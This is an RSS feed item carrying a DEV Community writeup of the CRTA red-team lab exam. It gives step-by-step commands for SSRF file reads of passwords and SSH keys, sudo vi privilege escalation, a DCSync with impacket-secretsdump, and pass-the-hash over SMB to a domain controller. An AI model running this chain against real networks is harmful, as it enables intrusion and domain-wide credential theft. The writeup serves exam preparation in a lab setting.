<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Shikhali Jamalzade</title>
    <description>The latest articles on DEV Community by Shikhali Jamalzade (@alisalive).</description>
    <link>https://dev.to/alisalive</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3981945%2Fe950ab36-ff70-4b92-b413-6821f360cd99.png</url>
      <title>DEV Community: Shikhali Jamalzade</title>
      <link>https://dev.to/alisalive</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/alisalive"/>
    <language>en</language>
    <item>
      <title>CRTA Exam Writeup — Passed | CyberWarFare Labs</title>
      <dc:creator>Shikhali Jamalzade</dc:creator>
      <pubDate>Fri, 12 Jun 2026 21:59:54 +0000</pubDate>
      <link>https://dev.to/alisalive/crta-exam-writeup-passed-cyberwarfare-labs-1g0f</link>
      <guid>https://dev.to/alisalive/crta-exam-writeup-passed-cyberwarfare-labs-1g0f</guid>
      <description>&lt;p&gt;Introduction&lt;br&gt;
The CRTA exam by CyberWarFare Labs is a fully hands-on, black-box red team assessment. There are no multiple-choice questions. You either root the machine and collect the flags — or you don't pass.&lt;br&gt;
The exam consists of a live VPN-connected environment. Your goal: compromise a multi-layer infrastructure, escalate privileges, move laterally, and ultimately retrieve a secret.xml file from the Domain Controller's Administrator Desktop.&lt;br&gt;
This writeup documents the full attack chain I used to pass the exam — step by step. If you're preparing for CRTA, this should give you a clear picture of what to expect and how to approach it.&lt;/p&gt;

&lt;p&gt;Disclaimer: This writeup is published after the exam was passed. Nothing here compromises exam integrity — CWL explicitly allows sharing methodology. No credentials or flags are disclosed in full.&lt;/p&gt;

&lt;p&gt;Exam Environment&lt;br&gt;
VPN Scope:         172.26.10.0/24&lt;br&gt;
Out of scope:      172.26.10.1 (gateway — do not touch)&lt;br&gt;
Initial target:    172.26.10.11&lt;br&gt;
Internal network:  10.10.10.0/24 (discovered later)&lt;br&gt;
Domain Controller: 10.10.10.100&lt;/p&gt;

&lt;p&gt;Phase 1 — Reconnaissance&lt;br&gt;
Network Discovery&lt;br&gt;
bashnmap -sn 172.26.10.0/24&lt;br&gt;
This revealed one live host: 172.26.10.11&lt;br&gt;
Port Scanning&lt;br&gt;
bashnmap -sV -sC -p- 172.26.10.11 --min-rate 5000 -oN nmap_full.txt&lt;br&gt;
Key open ports:&lt;br&gt;
22/tcp    SSH   (OpenSSH)&lt;br&gt;
23100/tcp HTTP  (Python Flask application)&lt;br&gt;
8091/tcp  HTTP  (HotHost monitoring service)&lt;/p&gt;

&lt;p&gt;Phase 2 — Web Application Analysis&lt;br&gt;
Flask App on Port 23100&lt;br&gt;
Exploring the routes revealed a critical endpoint: /fetch&lt;br&gt;
This endpoint accepted a URL parameter and fetched its content — a classic SSRF setup.&lt;br&gt;
bashcurl "&lt;a href="http://172.26.10.11:23100/fetch?url=http://127.0.0.1/" rel="noopener noreferrer"&gt;http://172.26.10.11:23100/fetch?url=http://127.0.0.1/&lt;/a&gt;"&lt;br&gt;
SSRF → Local File Read&lt;br&gt;
The SSRF vulnerability allowed using the file:// URI scheme to read files from the host filesystem:&lt;br&gt;
bashcurl "&lt;a href="http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/passwd" rel="noopener noreferrer"&gt;http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/passwd&lt;/a&gt;"&lt;br&gt;
This returned /etc/passwd of the host machine — not just the container. A critical user was revealed:&lt;br&gt;
app-admin❌1001:1001::/home/app-admin:/bin/bash&lt;br&gt;
Continuing to read sensitive files:&lt;br&gt;
bashcurl "&lt;a href="http://172.26.10.11:23100/fetch?url=file:///hostfs/home/app-admin/.ssh/id_rsa" rel="noopener noreferrer"&gt;http://172.26.10.11:23100/fetch?url=file:///hostfs/home/app-admin/.ssh/id_rsa&lt;/a&gt;"&lt;br&gt;
curl "&lt;a href="http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/app-config" rel="noopener noreferrer"&gt;http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/app-config&lt;/a&gt;"&lt;br&gt;
Plaintext password found: app-admin : @dmin@123&lt;/p&gt;

&lt;p&gt;Phase 3 — Initial Access via SSH&lt;br&gt;
bashssh &lt;a href="mailto:app-admin@172.26.10.11"&gt;app-admin@172.26.10.11&lt;/a&gt;&lt;br&gt;
Shell obtained.&lt;/p&gt;

&lt;p&gt;Phase 4 — Privilege Escalation&lt;br&gt;
bashsudo -l&lt;br&gt;
Output:&lt;br&gt;
User app-admin may run the following commands on this host:&lt;br&gt;
    (ALL : ALL) NOPASSWD: /usr/bin/vi&lt;br&gt;
vi with NOPASSWD — textbook GTFOBins escalation:&lt;br&gt;
bashsudo /usr/bin/vi -c ':!/bin/bash'&lt;br&gt;
Root shell obtained on 172.26.10.11.&lt;/p&gt;

&lt;p&gt;Phase 5 — Docker Container Enumeration&lt;br&gt;
bashdocker ps&lt;br&gt;
Two containers running: HotHost monitoring service (port 8091) and the Flask SSRF app (port 23100).&lt;br&gt;
bashdocker exec -it  /bin/bash&lt;br&gt;
cat /hothost.json&lt;br&gt;
hothost.json contained an MD5 hash: 665a26fad71ea9ef3edf5f33195d4b31&lt;br&gt;
Base64 of Binary Hash (Flag)&lt;br&gt;
bashecho "665a26fad71ea9ef3edf5f33195d4b31" | xxd -r -p | base64&lt;br&gt;
Result: Zlom+tceqe8+318zGV1LMQ==&lt;/p&gt;

&lt;p&gt;Key lesson: The exam asks for Base64 of the binary representation of the MD5 hash — not Base64 of the hex string.&lt;/p&gt;

&lt;p&gt;Phase 6 — Lateral Movement &amp;amp; Network Pivoting&lt;br&gt;
Discovering the Internal Network&lt;br&gt;
bashcat /var/log/auth.log | grep "Accepted"&lt;br&gt;
A recurring internal IP appeared: 10.10.10.20&lt;br&gt;
Enumerating 10.10.10.20&lt;br&gt;
bashnmap -sV -p- 10.10.10.20 --min-rate 3000&lt;br&gt;
gobuster dir -u &lt;a href="http://10.10.10.20" rel="noopener noreferrer"&gt;http://10.10.10.20&lt;/a&gt; -w /usr/share/wordlists/dirb/common.txt&lt;br&gt;
The /elfinder directory was discovered — a file manager interface containing AD_Resources.txt:&lt;br&gt;
&lt;a href="mailto:sync_user@ent.corp"&gt;sync_user@ent.corp&lt;/a&gt; / Summer@2025&lt;/p&gt;

&lt;p&gt;Phase 7 — DCSync Attack&lt;br&gt;
bashimpacket-secretsdump ent.corp/sync_user:'Summer@2025'&lt;a class="mentioned-user" href="https://dev.to/10"&gt;@10&lt;/a&gt;.10.10.100&lt;br&gt;
Critical hashes extracted:&lt;br&gt;
krbtgt:502:...::::&lt;br&gt;
Administrator:500:...::::&lt;br&gt;
The krbtgt NT hash is itself a flag in the exam.&lt;/p&gt;

&lt;p&gt;Phase 8 — Pass-the-Hash → Administrator Access&lt;br&gt;
bashsmbclient //10.10.10.100/C$ -U 'Administrator' --pw-nt-hash &lt;br&gt;
bashsmb: &amp;gt; cd Users\Administrator\Desktop&lt;br&gt;
smb: \Users\Administrator\Desktop&amp;gt; get secret.xml.txt&lt;br&gt;
secret.xml.txt retrieved. Exam objective complete.&lt;/p&gt;

&lt;p&gt;Attack Chain Summary&lt;br&gt;
[VPN] → Nmap → 172.26.10.11&lt;br&gt;
    ↓&lt;br&gt;
[Port 23100] Flask /fetch → SSRF&lt;br&gt;
    ↓&lt;br&gt;
[SSRF] file:///hostfs → credentials (app-admin:@dmin@123)&lt;br&gt;
    ↓&lt;br&gt;
[SSH] &lt;a href="mailto:app-admin@172.26.10.11"&gt;app-admin@172.26.10.11&lt;/a&gt;&lt;br&gt;
    ↓&lt;br&gt;
[sudo vi] GTFOBins → ROOT&lt;br&gt;
    ↓&lt;br&gt;
[Docker] HotHost → hothost.json → MD5 hash&lt;br&gt;
    ↓&lt;br&gt;
[auth.log] → 10.10.10.20&lt;br&gt;
    ↓&lt;br&gt;
[10.10.10.20] /elfinder → AD_Resources.txt → sync_user creds&lt;br&gt;
    ↓&lt;br&gt;
[DCSync] impacket-secretsdump → krbtgt + Admin NT hashes&lt;br&gt;
    ↓&lt;br&gt;
[PtH] smbclient → secret.xml.txt ✅&lt;/p&gt;

&lt;p&gt;Lessons Learned&lt;br&gt;
SSRF isn't just about HTTPS. Test file:// too. The hostfs prefix to escape Docker containers is a classic lab trick.&lt;br&gt;
GTFOBins is not optional. sudo -l should be your second command after gaining any shell.&lt;br&gt;
Log files are goldmines. /var/log/auth.log revealed the internal network.&lt;br&gt;
Hash math matters. Always confirm what encoding format the question is asking for.&lt;br&gt;
DCSync requires specific privileges. When you find AD credentials, check what they can actually do before assuming they're useless.&lt;/p&gt;

&lt;p&gt;Final Thoughts&lt;br&gt;
CRTA is a well-constructed exam for anyone entering Active Directory offensive security. The attack chain feels realistic: web app → SSRF → SSH → privesc → lateral movement → DCSync → domain admin.&lt;br&gt;
If you're preparing: be comfortable with SSRF exploitation, Docker container awareness, impacket tooling, and GTFOBins. Everything else follows from those foundations.&lt;/p&gt;

&lt;p&gt;Shikhali Jamalzade | Red Team Practitioner | Baku, Azerbaijan&lt;br&gt;
GitHub: github.com/alisalive | Portfolio: alisalive.vercel.app | LinkedIn: linkedin.com/in/camalzads&lt;/p&gt;

</description>
      <category>writeup</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
  </channel>
</rss>
